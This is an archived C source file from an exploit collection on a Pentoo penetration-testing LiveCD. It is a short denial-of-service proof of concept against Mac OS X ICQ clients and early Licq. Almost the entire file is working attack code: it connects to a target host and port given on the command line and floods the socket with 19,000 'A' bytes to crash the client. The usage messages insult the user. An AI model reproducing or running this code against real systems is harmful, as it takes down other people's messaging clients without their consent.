home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / im / icq / osxicq.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  48 lines

  1. /*
  2.  * OSX ICQ Dos. sa7ori@tasam.com
  3.  * Proof of concept. Worked on early versions of Licq. Now it apparently works
  4.  * for various versions of OSX ICQ clients.
  5.  * Tested and works on: ICQ MacOSX Ver 2.6x Beta Build 7
  6.  * and several others.
  7.  */
  8.  
  9. #include <netdb.h>
  10. #include <netinet/in.h>
  11. #include <sys/types.h>
  12. #include <sys/socket.h>
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <string.h>
  16. #include <errno.h>
  17.  
  18. int main(int argc, char **argv){
  19.   char buf[19000]; int i, sock, result; struct sockaddr_in sin; struct hostent *gothost;
  20.   printf("So you wanna DoS ICQ...\n sa7ori@tasam.com\nBRAAAAAZIIIIIIIL\n");
  21.   if (argc < 3) {
  22.       fprintf(stderr, "Usage: %s <icqclient> <port>\njeez. get it right.\n", argv[0]);
  23.       exit(-1);
  24.     }
  25.   gothost = gethostbyname(argv[1]);
  26.   if (!gothost){
  27.       fprintf(stderr, "%s: Host resolv failed. Tard.\n", argv[1]);
  28.       exit(-1);
  29.     }
  30.   sin.sin_family = AF_INET; sin.sin_port = htons(atoi(argv[2]));
  31.   sin.sin_addr = *(struct in_addr *)gothost->h_addr; sock = socket(AF_INET, SOCK_STREAM, 0);
  32.   result = connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in));
  33.   if (result != 0) {
  34.       fprintf(stderr, "Connect Failed. reTard. %s\n", argv[1]);
  35.       exit(-1);
  36.     }
  37.   if (sock < 0){
  38.       fprintf(stderr, "Error in socket.");
  39.       exit(-1);
  40.     }
  41.   for (i=0; i<19000; i++) /* send loop shaboing boing boing */
  42.     strncat(buf, "A", 1);
  43.   send(sock, buf, sizeof(buf), 0);
  44.   close(sock);
  45.   fprintf(stdout, "ShinryuHadoken\n..And an angry flurry of As flies from your outstreached hand. heh.\n\n");
  46. }
  47.  
  48.